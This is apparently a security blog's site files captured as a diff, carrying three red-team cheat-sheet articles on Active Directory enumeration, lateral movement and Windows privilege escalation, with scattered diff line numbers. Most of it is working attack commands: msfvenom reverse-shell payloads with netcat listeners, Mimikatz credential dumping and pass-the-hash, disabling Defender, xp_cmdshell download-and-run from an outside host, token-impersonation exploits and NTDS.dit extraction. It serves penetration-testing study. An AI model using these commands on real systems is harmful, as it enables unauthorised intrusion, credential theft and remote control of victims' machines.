Sorry, we've misplaced that URL or it's pointing to something that doesn't exist.
Head back Home to try finding it again, or search for it on the Archives page.
diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/.nojekyll @@ -0,0 +1 @@ + diff --git a/404.html b/404.html new file mode 100644 index 00000000..5e44a33a --- /dev/null +++ b/404.html @@ -0,0 +1 @@ +
Sorry, we've misplaced that URL or it's pointing to something that doesn't exist.
Head back Home to try finding it again, or search for it on the Archives page.
Introduction I am thrilled to announce that I have successfully passed the CRTE (Certified Red Team Expert) exam from Altered Security, and I am excited to share my journey and experience with a...
Introduction Greetings, everyone 👋. In this brief article, I will outline a manual obfuscation technique for bypassing Windows Defender. Specifically, I will cover how to patch the Antimalware S...
Introduction Welcome to my fourth article in the Red Teaming Series (Active Directory Lateral Movement). I hope everyone has gone through the previous articles of this series which go through th...
Shibboleth is about enumerating the UDP ports through which we can find IPMI service is running. We can dump the administrator hashes and log in to one of Shibboleth’s subdomains, where we can ge...
Introduction Welcome to my third article in the Red Teaming Series (Active Directory Local Privilege Escalation). I hope everyone has gone through the first two articles of this series which go ...
Introduction Welcome to my second article in the Red Teaming Series (Offensive PowerShell). I hope everyone has gone through the first article of this series which explains the basic foundations...
Introduction Welcome to my first article in the Red Teaming Series (Active Directory Introduction). I hope to provide you all with information for an initial foundation and motivation about Acti...
Node is about enumerating an Express NodeJS application to find an API endpoint that discloses the usernames and password hashes. To root the box is a simple buffer overflow and possible by three...
Welcome to my first article in the Red Teaming Series (Active Directory Introduction). I hope to provide you all with information for an initial foundation and motivation about Active Directory, so let’s move forward to learn other exciting aspects of the directory service developed by Microsoft to manage windows domain networks.
This guide aims to explain the complete basics of Active Directory and those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network.
I will cover the following topics under this guide:
Throughout the article I will use PowerView which is based on Powershell to show how to retrieve information of Active Directory. This article has been created with references from a few other articles. All used references for completing this article will be listed below. —
In a short description, an Active Directory is a system that allows the collection of machines and servers connected inside the same network from a central server(known as a Domain) that are a collective part of a bigger server(known as a forest) that make up the Active Directory network.
It stores information related to objects, such as Computers, Users, Printers, etc. You can think about it as a phone book for Windows. One of its main purposes is for authentication using Kerberos tickets. Non-windows devices, such as Linux machines, firewalls, etc., can also authenticate to Active Directory via RADIUS or LDAP protocols.
Active Directory contains many functioning bits and pieces, a majority of which we will be covering in the upcoming tasks.
The majority of large companies use Active Directory because it allows for controlling and monitoring their user’s computers through a single domain controller. It will enable a single user to sign in to any computer on the active directory network and have access to their stored files and folders in the server and the local storage on that machine. This allows any user in the company to use any machine that the company owns without setting up multiple users on a machine. Active Directory does it all for you.
If this is still unclear, let me give you an example.
Let’s take the example of Microsoft. It’s a worldwide company with millions of employees. Let’s focus on one building of Microsoft, which has about a thousand plus employees. Each of these employees is working on their workstations (Windows/Linux). This building might contain different departments like Market Research, Product Decisions, HR, IT, etc. Now imagine if one of the departments required a software update, or if one of the employees forgot their password, or one of the employees needed higher privileges to access view some content.
It would be extremely tedious if the IT department tried to fix all the issues. But this issue can resolve if they have all the computers connected in an Active Directory network to perform all these operations under one hood.
First of all, I have been reffering an Active Directory network as a Domain. In brief, a domain is a set of connected computers that shares an Active Directory database, which is managed by the central servers of a domain, that are called Domain Controllers.
A domain controller is a Windows server that has Active Directory Domain Services (AD DS) installed and has been promoted to a domain controller in the forest. Domain controllers are the center of Active Directory , they control the rest of the domain. Outlineing some of the tasks of a domain controller below:
We can gather additional information about our target using PowerView
1
+2
+3
+4
+
PS C:\Tools> Get-NetUser
+user-dc.it.starlight.local
+user-mssql.it.starlight.local
+user-adminsrv.it.starlight.local
+
1
+2
+3
+4
+5
+
Get-NetDomain
+# See Attributes of the Domain Admins Group
+Get-NetGroup -GroupName "Domain Admins" -FullData
+# Get Members of the Domain Admins group
+Get-NetGroupMember -GroupName "Domain Admins"
+
The Active Directory Data Store holds the databases and processes needed to store and manage directory information such as users, groups, and services. Below is an outline of some of the contents and characteristics of the AD DS Data Store:
NTDS.dit
- a database that contains all of the information of an Active Directory domain controller as well as password hashes for domain users%SystemRoot%\NTDS
A hierarchy of domains in Active Directory Domain Services are known as Trees.
All the domains in the tree :
Active-Directory-Basics-THM-Room
The forest is what defines everything; it is the container that holds all of the other bits and pieces of the network together – without the forest all of the other trees and domains would not be able to interact. The one thing to note when thinking of the forest is to not think of it too literally – it is a physical thing just as much as it is a figurative thing. When we say “forest”, it is only a way of describing the connection created between these trees and domains by the network.
A forest is a collection of one or more domain trees inside of an Active Directory network. It is what categorizes the parts of the network as a whole.
The Forest consists of these parts which we will go into farther detail with later:
Group Policy provides the ability to manage configuration and changes easily and centrally in AD.
Allows configuration of :
GPO can be abused for various attacks like privesc, backdoors, persistence etc.
We can gather additional information about our target using PowerView
1
+2
+3
+4
+5
+
Get-NetGPO
+Get-NetGPO -ComputerName <computer-name>
+Get-GPO -All (GroupPolicy module)
+Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
+gpresult /R /V (GroupPolicy Results of current machine)
+
1
+
Get-NetGPOGroup
+
1
+
Find-GPOComputerAdmin -ComputerName <computer-name>
+
1
+
Find-GPOLocation -Username student1 -Verbose
+
1
+
Get-NetOU -FullData
+
1
+2
+
Get-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"
+Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 (GroupPolicy module)
+
The Access Control Model enables control on the ability of a process to access objects and other resources in active directory based on:
We can gather additional information about our target using PowerView
1
+
Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs
+
1
+
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
+
1
+
(Get-Acl "AD:\CN=Administrator, CN=<name>, DC=<name>, DC=<name>,DC=local").Access
+
1
+
Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=<name>,DC=<name>,DC=local" -ResolveGUIDs -Verbose
+
1
+
Invoke-ACLScanner -ResolveGUIDs
+
1
+
Get-PathAcl -Path "\\<computer-name>\sysvol"
+
The users and groups that are inside of an Active Directory are up to you; when you create a domain controller it comes with default groups and two default users: Administrator and guest. It is up to you to create new users and create new groups to add users to.
Users are the core to Active Directory; without users why have Active Directory in the first place? There are four main types of users you’ll find in an Active Directory network; however, there can be more depending on how a company manages the permissions of its users. The four types of users are:
Groups make it easier to give permissions to users and objects by organizing them into groups with specified permissions. There are two overarching types of Active Directory groups:
There are a lot of default security groups so I won’t be going into too much detail of each past a brief description of the permissions that they offer to the assigned group. Here is a brief outline of the security groups:
1
+2
+
Get-NetDomainTrust
+Get-NetDomainTrust -Domain <domain-name>
+
1
+2
+
Get-NetForest
+Get-NetForest -Forest <forest-name>
+
1
+2
+
Get-NetForestDomain
+Get-NetForestDomain -Forest <forest-name>
+
1
+2
+
Get-NetForestCatalog
+Get-NetForestCatalog -Forest <forest-name>
+
1
+2
+
Get-NetForestTrust
+Get-NetForestTrust -Forest <forest-name>
+
1
+
Find-LocalAdminAccess -Verbose
+
This is very noise This function queries the DC of the current or provided domain for a list of computers (Get-NetComputer)
and then use multi-threaded Invoke-CheckLocalAdminAccess
on each machine. This can also be done with the help of remote administration tools like WMI and PowerShell remoting. Pretty useful in cases ports (RPC and SMB) used by Find-LocalAdminAccess are blocked. See Find-WMILocalAdminAccess.ps1
This leaves a 4624 (log-on event) and 4634 (log-off event) on each and every object in the domain. Same for Blood-Hound.
1
+2
+
Invoke-UserHunter
+Invoke-UserHunter -GroupName "RDPUsers"
+
This function queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using Get-NetGroupMember
, gets a list of computers (Get-NetComputer)
and list sessions and logged on users (Get-NetSession/Get-NetLoggedon)
from each machine.
1
+
Invoke-UserHunter -CheckAccess
+
1
+
Invoke-UserHunter -Stealth
+
This option queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using Get-NetGroupMember
, gets a list only of high traffic servers (DC, File Servers and Distributed File servers) for less traffic generation and list sessions and logged on users (Get-NetSession/Get-NetLoggedon)
from each machine.
The Active Directory domain services are the core functions of an Active Directory network; they allow for management of the domain, security certificates, LDAPs, and much more. This is how the domain controller decides what it wants to do and what services it wants to provide for the domain.
Domain Services are exactly what they sound like. They are services that the domain controller provides to the rest of the domain or tree. There is a wide range of various services that can be added to a domain controller; however, in this room we’ll only be going over the default services that come when you set up a Windows server as a domain controller. Outlined below are the default domain services:
The most important part of Active Directory – as well as the most vulnerable part of Active Directory – is the authentication protocols set in place. There are two main types of authentication in place for Active Directory: NTLM and Kerberos. Since these will be covered in more depth in later rooms we will not be covering past the very basics needed to understand how they apply to Active Directory as a whole.
The Active Directory domain services are the main access point for attackers and contain some of the most vulnerable protocols for Active Directory, this will not be the last time you see them mentioned in terms of Active Directory security.
If you find my articles interesting, you can buy me a coffee
Welcome to my fourth article in the Red Teaming Series (Active Directory Lateral Movement). I hope everyone has gone through the previous articles of this series which go through the basic concepts required, high-level Domain enumeration explanation and AD/Windows Local Privilege escalation guide.
If not so, you can give it a read from here.
This guide explains Active-Directory Lateral Movement snippets mainly by using PowerShell cmdlets, Inkove-Mimikats and abusing MS-SQL servers in detail. I will also explain those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.
I will continue to update this article with new lateral movement attacks.
Throughout the article, I will use PowerView, Invoke-Mimikatz and PowerUpSQL.psd1 in performing the lateral movement on a Windows/Active Directory Environment. If any other tools are required, they will be mentioned along.
Lateral movement is when an attacker leverages their current access rights to navigate around your environment. Privilege escalation, which I already covered, is gaining increased access permissions. Attackers combine these two tactics to achieve their ultimate goal of stealing data or doing other damage to your organization.
By default, enabling PowerShell remoting enables both an http and an https listener. The listeners run on default ports 5985 for http and 5986 for https.
In the table below, you can get a brief understanding of the working and usage of the cmdlets we will be using to perform attacks.
Session Type | Cmdlets | Benifits |
---|---|---|
One-to-One | 1. New-PSSession 2. Enter-PSSession | 1. Interactive 2. Runs in a new process (wsmprovhost) 3. Is Stateful |
One-to-Many | 1. Invoke-Command | 1. Non-interactive 2. Executes commands parallely 3. Execution is in disconnected sessions (v3) |
-Credential
parameter to pass username/password1
+2
+
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
+$cred = New-Object System.Management.Automation.PSCredential("<computer-name>", $pass)
+
1
+
Enter-PSSession -Computername <computer-name>
+
1
+2
+3
+4
+5
+6
+7
+
$sess = New-PSSession -Computername <computer-name>
+Enter-PSSession -Session $sess
+[scorp.star.light.local]:PS> $proc = Get-Process
+[scorp.star.light.local]:PS> exit
+Enter-PSSession -Session $sess
+[scorp.star.light.local]:PS> proc
+Will list current process
+
1
+2
+3
+
$sess = New-PSSession -Computername <computer-name>
+Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}
+Invoke-Command -Session $sess -ScriptBlock {$proc.Name}
+
1
+2
+3
+4
+
# copy the command snippet with the parameters which are required
+Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {get-command}
+Invoke-Command -computername <computer-name> -credential $cred -command {get-command}
+Invoke-Command -computername <computer-name> -command {get-command}
+
1
+2
+3
+4
+
# copy the command snippet with the parameters which are required
+Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
+Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
+Invoke-Command -ComputerName <computer-name> -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
+
1
+2
+3
+4
+
# copy the command snippet with the parameters which are required
+Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
+Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
+Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here}
+
1
+2
+3
+4
+5
+
# copy the command snippet with the parameters which are required
+Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {whoami}
+Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -ScriptBlock {whoami}
+Invoke-Command -computername <computer-name> -command {whoami}
+Invoke-Command -computername <computer-name> -ScriptBlock {whoami}
+
1
+2
+3
+4
+
# copy the command snippet with the parameters which are required
+Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
+Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
+Invoke-Command -ComputerName <computer-name> -ScriptBlock{"C:\temp\mimikatz.exe"}
+
1
+
Invoke-Command -computername <computer-name> -FilePath "C:\temp\mimikatz.exe"
+
1
+
Invoke-Command -computername <computer-name> -ScriptBlock {$ExecutionContext.SessionState.LanguageMode}
+
If the value of the LanguageMode is Constrained, then it will only allow built-in cmdlets execution
Example : Hello.ps1
1
+2
+3
+4
+
function hello
+{
+Write-Output "Hello from the function"
+}
+
1
+
. .\Hello.ps1
+
1
+
Invoke-Command -ScriptBlock ${function:hello} -ComputerName <computer-name>
+
1
+2
+
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list of servers>) -
+ArgumentList
+
1
+2
+3
+4
+5
+
$sess = New-PSSession -Computername <computer-name>
+Invoke-Command -FilePath "C:\temp\hello.ps1" -Session $sess
+Enter-PSSession -Session $sess
+[scorp.star.light.local]:PS> hello
+Hello from the function
+
1
+
Invoke-Mimikatz -DumpCreds
+
1
+
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
+
Invoke-Mimikatz uses PowerShell remoting cmdlet Invoke-Command to do above.
1
+
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntImhash> /run:powershell.exe"'
+
1
+2
+3
+4
+5
+6
+7
+8
+
#Create a session for remoting system
+$sess = New-PSSession -ComputerName <computer-name>
+#Bypass AMSI
+Invoke-Command -ScriptBlock {Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; whoami} -Session $sess
+#Locally load mimikatz on your own system
+Import-Module .\Invoke-Mimikatz.ps1
+#Execute locally loaded functions remoting system
+Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz -command '"sekurlsa::logonpasswords"'} -Session $sess
+
For importing the script use the following command
1
+
Import-Module .\PowerUpSQL.psd1
+
1
+
Get-SQLInstanceDomain
+
1
+2
+
Get-SQLConnectionTestThreaded
+Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
+
1
+
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
+
1
+
Invoke-SQLAudit -Verbose -Instance <instanceName>
+
xp_cmdshell
can be enabled using:1
+
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"
+
1
+
EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';
+
1
+2
+
Get-SQLServerLink -Instance <instanceName> -Verbose
+select * from master..sysservers
+
1
+2
+
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Verbose
+select * from openquery("<instanceName>",'select * from openquery("<linkedInstance>",''select * from master..sysservers'')')
+
1
+
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Query "exec master..xp_cmdshell 'whoami'" | ft
+
1
+
Get-SQLServerLinkCrawl -Instance <instanceName> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://IP:8080/Invoke-HelloWorld.ps1'',''C:\Windows\Temp\Invoke-HelloWorld.ps1'')"'
+
1
+2
+3
+
Invoke-SQLAuditPrivImpersonateLogin -Instance <instanceName> -Exploit -Verbose
+#Then, we can EXECUTE AS, and chained the 'EXECUTE AS'
+Get-SQLServerLinkCrawl -Verbose -Instance <instanceName> -Query "EXECUTE AS LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'powershell -c iex (new-object net.webclient).downloadstring(''http://IP/Invoke-HelloWorld.ps1'')'"
+
Also works with Get-SQLServerLinkCrawl
1
+2
+3
+4
+5
+6
+7
+8
+
#View all db in an instance
+Get-SQLQuery -Instance <instanceName> -Query "SELECT name FROM sys.databases"
+#View all tables
+Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.TABLES"
+#View all cols in all tables in a db
+Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.columns"
+#View data in table
+Get-SQLQuery -Instance <instanceName> -Query "USE dbName;SELECT * FROM tableName"
+
Invoke-Mimikatz download from here : Invoke-Mimikatz.ps1
PowerUpSQL download from here : PowerUpSQL.psd1
If you find my articles interesting, you can buy me a coffee
Welcome to my third article in the Red Teaming Series (Active Directory Local Privilege Escalation). I hope everyone has gone through the first two articles of this series which go through the basic concepts required to understand Active Directory and high-level Domain enumeration explanation.
If not so, you can give it a read from here.
This guide aims to explain Windows/Active-Directory Local Privilege escalation snippets mainly by abusing services, registries, tokens and groups etc., in detail. I will also explain those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.
I will continue to update this article with new privilege escalation vectors.
Throughout the article, I will use PowerView, winPEAS, AccessChk and PowerUp in performing local privilege escalation on an Windows/Active Directory Environment. If any other tools are required, they will be mentioned along.
Privilege escalation exploits a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are generally protected from an application or user. Now that you know the meaning of privilege escalation, we can dive right into the techniques for escalation.
Autorun is a type of Registry Escalation.
To ensure that the IT department creates a secure environment, Windows administrators often need to know what kind of access specific users or groups have to resources, including files, directories, Registry keys, global objects, and Windows services. AccessChk quickly answers these questions with an intuitive interface and output.
So basically, we can say a particular application in a specific directory gets automatically executed with administrator privileges once he logs on. This can be abused by finding the path location and dropping our malicious executable file through which we will gain administrator access.
1
+
C:\Temp> Autoruns64.exe
+
"Logon"
tab."My Program"
entry is pointing to "C:\Program Files\Autorun Program\program.exe"
.1
+2
+3
+4
+5
+6
+
C:\Temp> accesschk64.exe -wvu "C:\Program Files\Autorun Program"
+
+# Switch meaning
+# w --> only show items that have write access
+# v --> verbose; dispaly as many details as possible
+# u --> ignore the errors
+
Invoke-AllChecks
(check the autoruns field)1
+2
+3
+
C:\Temp> powershell -ep bypass
+PS C:\Temp>. .\PowerUp.sp1
+PS C:\Temp> Invoke-AllChecks
+
From the output, notice that the "Everyone"
user group has "FILE_ALL_ACCESS"
permission on the "program.exe"
file. To gain administrator access, we can drop our malicious executable file by overwriting on the file.
1
+
$ sudo nc -nvlp 53
+
1
+
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o program.exe
+
program.exe
, to the Windows VM.program.exe
in 'C:\Program Files\Autorun Program'
AlwaysInstallElevated is a type of Registry Escalation.
This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting.
To install a package with elevated (system) privileges, set the AlwaysInstallElevated value to “1” under both of the following registry keys:
1
+2
+3
+
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
+
+HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
+
If the AlwaysInstallElevated value is not set to “1” under both of the preceding registry keys, the installer uses elevated privileges to install managed applications and uses the current user’s privilege level for unmanaged applications.
1
+
C:\Temp> reg query HKLM\Software\Policies\Microsoft\Windows\Installer
+
0x1
means its ON 1
+
C:\Temp>reg query HKCU\Software\Policies\Microsoft\Windows\Installer
+
0x1
means its ON From the both output, we notice that “AlwaysInstallElevated”
value is 1
. Hence, we can abuse this function to get privilege escalation.
Invoke-AllChecks
(check the AlwaysInstallElevated field)1
+2
+3
+
C:\Temp> powershell -ep bypass
+PS C:\Temp>. .\PowerUp.sp1
+PS C:\Temp> Invoke-AllChecks
+
Run Write-UserAddMSI
and Add backdoor user in Administrators group (Required RDP access)
1
+2
+
C:\Temp> net localgroup administrators
+# now backdoor is added to the localgroup administrators group
+
1
+
$ sudo nc -nvlp 53
+
1
+
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f msi -o setup.msi
+
setup.msi
, to the Windows VM.'setup.msi'
in 'C:\Temp'
1
+
C:\Temp> msiexec /quiet /qn /i C:\Temp\setup.msi
+
A service registry consists of a cluster of servers that use a replication protocol to maintain consistency. Hence if we get Full Contol permission over the registry key, we can drop our malicious executable file to gain administrator access.
1
+2
+
C:\Temp> powershell -ep bypass
+PS C:\Temp> Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
+
"NT AUTHORITY\INTERACTIVE"
has "FullContol"
permission over the registry key.1
+
$ sudo nc -nvlp 53
+
1
+
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe
+
x.exe
, to the Windows VM.x.exe
in 'C:\Temp'
1
+
C:\Temp> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
+
1
+2
+
C:\Temp> sc start regsvc
+# If it doesnt work try restaring the service and perform the exploit egain
+
Microsoft Windows services, formerly known as NT services, enable you to create long-running executable applications that run in their own Windows sessions. These services can be automatically started when the computer boots, can be paused and restarted, and do not show any user interface.
Hence if we get Full Contol permission over the file path location, we can drop our malicious executable file to gain administrator access.
Invoke-AllChecks
(check the service executable field)1
+2
+3
+
C:\Temp> powershell -ep bypass
+PS C:\Temp>. .\PowerUp.sp1
+PS C:\Temp> Invoke-AllChecks
+
We can see that we have Modifiable File access to "c:\Program Files\File Permissions Service\filepermservice.exe"
. To gain administrator access, we can drop our malicious executable file on this location.
1
+
$ sudo nc -nvlp 53
+
1
+
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o x.exe
+
x.exe
, to the Windows VM and replace it over filepermsvc.exe
.1
+
C:\Temp> sc start filepermsvc
+
Startup apps run in the background, the number of apps running on the system can be significantly more than what the user is aware of and affect system responsiveness. Startup apps are classified to include those leveraging these mechanisms to start:
So basically, we need full access to the Startup folder. Then by dropping our malicious executable file, we will gain administrator access.
1
+
C:\Temp> icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
+
"BUILTIN\Users"
group has full access '(F)'
to the directory.1
+
$ sudo nc -nvlp 53
+
1
+
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o y.exe
+
y.exe
, to the Windows VM.y.exe
in "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
.Windows applications usually load DLL files when started. It may happen that a DLL file does not exist and the application is unable to load it. Nevertheless, an application will continue to execute as long as the missing DLL is not needed.
In case the application uses a relative and not an absolute file path, Windows searches for the file in the following directories:
C:\Windows\System32
C:\Windows\System
C:\Windows
Procmon.exe
and select 'Run as administrator'
from the menu."filter"
. From the left-most drop down menu, select 'Process Name'
.dllhijackservice.exe
dllhijackservice.exe
then Include” and click on the 'Add'
button, then 'Apply'
and lastly on ‘OK’.'Result'
.NAME NOT FOUND
.'Add'
button, then 'Apply'
and lastly on ‘OK’.
1
+
C:\Temp> sc start dllsvc
+
'C:\Temp\hijackme.dll'
yet it could not do that as the file was not found. Note that 'C:\Temp'
is a writable location. 1
+
$ sudo nc -nvlp 53
+
1
+
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f dll -o hijackme.dll
+
hijackme.dll
, to the Windows VM.hijackme.dll
in 'C:\Temp'
1
+
C:\Temp> sc stop dllsvc & sc start dllsvc
+
BinPath is a type of Service Escalation. We can gain administrator privileges if we write access and restart access on any service. We can abuse this function by injecting our malicious BinPath to get executed once restarted.
Invoke-AllChecks
(check the service permissions field)1
+2
+3
+
C:\Temp> powershell -ep bypass
+PS C:\Temp>. .\PowerUp.sp1
+PS C:\Temp> Invoke-AllChecks
+
1
+2
+3
+4
+5
+6
+7
+8
+
C:\Temp> accesschk64.exe -uwcv Everyone *
+
+# Switch meaning
+# w --> only show items that have write access
+# v --> verbose; dispaly as many details as possible
+# u --> ignore the errors
+# c --> displays service name of the following
+# Everyone --> means everyone as a group who hass access
+
1
+
C:\Temp> accesschk64.exe -uwcv daclsvc
+
1
+
C:\Temp> sc qc daclsvc
+
1
+
$ sudo nc -nvlp 53
+
1
+
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o reverse.exe
+
reverse.exe
, to the Windows VM.reverse.exe
in 'C:\Temp'
1
+
C:\Temp> sc config daclsvc binpath= "C:\Temp\reverse.exe"
+
1
+
C:\Temp> sc start daclsvc
+
When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege).
In Windows, if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument.
Invoke-AllChecks
(check the unquoted service field)1
+2
+3
+
C:\Temp> powershell -ep bypass
+PS C:\Temp>. .\PowerUp.sp1
+PS C:\Temp> Invoke-AllChecks
+
1
+
$ sudo nc -nvlp 53
+
1
+
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o common.exe
+
common.exe
, to the Windows VM.common.exe
in 'C:\Program Files\Unquoted Path Service'
.1
+2
+3
+
C:\Temp> sc start unquotedsvc
+# OR
+C:\Temp> net start unquotedsvc
+
This privilege allows us to impersonate a token of a privileged account such as NT AUTHORITY\SYSTEM.
SeImpersonatePrivilege
privileges enabled1
+
C:\Temp>whoami /priv
+
Invoke-PowerShellTcp.ps1
from nishang shells as shell.ps1
shell.ps1
1
+
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 9999
+
shell.bat
file1
+
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.31/shell.ps1')
+
shell.bat
and juicypotato.exe
on victim machine1
+
$ (new-object net.webclient).downloadfile('http://10.10.14.31/file', 'C:\temp\file')
+
1
+
$ sudo rlwrap nc -lnvp 9999
+
1
+
$ ./jp.exe -p shell.bat -l 7777 -t *
+
1
+
$ ./jp.exe -p shell.bat -l 7777 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
+
Hot Potato takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing.
SeImpersonatePrivilege
privileges enabled1
+
C:\Temp> whoami /priv
+
I will be demonstrating a simple exploitation technique by adding a user to the local administrators group using Tater.ps1
1
+2
+3
+
C:\Temp> powershell.exe -nop -ep bypass
+PS C:\Temp> Import-Module C:\Temp\Tater.ps1
+PS C:\Temp> Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
+
This method is handy for checking any existing exploits available for the machine by looking at the system information. From the results of windows-exploit-suggester.py we can select one of the kernel exploits and try to escalate privileges.
1
+
C:\Temp> systeminfo
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
$ ./windows-exploit-suggester.py --update
+
+[*] initiating...
+[*] successfully requested base url
+[*] scraped ms download url
+[+] writing to file 2020-06-06-mssb.xlsx
+[*] done
+
+$ ./windows-exploit-suggester.py --database 2020-06-06-mssb.xlsx --systeminfo systeminfo.txt
+
+Exploits will be displayed here...
+
1
+
C:\Temp> C:\Users\usernamehere\AppData\Roaming\Mozilla\Firefox\Profiles
+
Copy the following files from the Windows VM to Kali VM:
1
+
$ git clone https://github.com/lclevy/firepwd.git
+
1
+2
+3
+4
+5
+6
+7
+
$ python3 firepwd.py
+
+globalSalt: b'2d45b7ac4e42209a23235ecf825c018e0382291d'
+<SNIP>
+clearText b'86a15457f119f862f8296e4f2f6b97d9b6b6e9cb7a3204760808080808080808'
+decrypting login/password pairs
+ https://creds.com:b'mayor',b'<<HIDDEN>>'
+
We can check if there are any pre-existing credentials of the administrator on the system. We can abuse this by using the loaded creds for privilege escalation. In the below example, I will demonstrate how to read files through the saved creds.
1
+2
+3
+4
+5
+
$ cmdkey /list
+Currently stored credentials:
+ Target: Domain:interactive=WORKGROUP\Administrator
+ Type: Domain Password
+ User: WORKGROUP\Administrator
+
1
+
C:\Temp> C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE c:\Users\Administrator\Desktop\root.txt > C:\Users\security\root1.txt"
+
If the user is a part of the Backup Operator group, the user has the ability to create system backups and could be used to obtain copies of sensitive system files that can be used to retrieve passwords such as the SAM and SYSTEM Registry hives and the NTDS.dit Active Directory database file.
1
+2
+
C:\Temp> net user unsername-here
+C:\Temp> whoami /all
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+
set verbose onX
+set metadata C:\Windows\Temp\meta.cabX
+set context clientaccessibleX
+set context persistentX
+begin backupX
+add volume C: alias cdriveX
+createX
+expose %cdrive% E:X
+end backupX
+
1
+
PS C:\Temp> diskshadow /s script.txt
+
1
+
PS C:\Temp> robocopy /b E:\Windows\ntds . ntds.dit
+
1
+
PS C:\Temp> reg save hklm\system c:\temp\system.hive
+
secretsdump.py
do decrypt the DA creds on Kali VM1
+
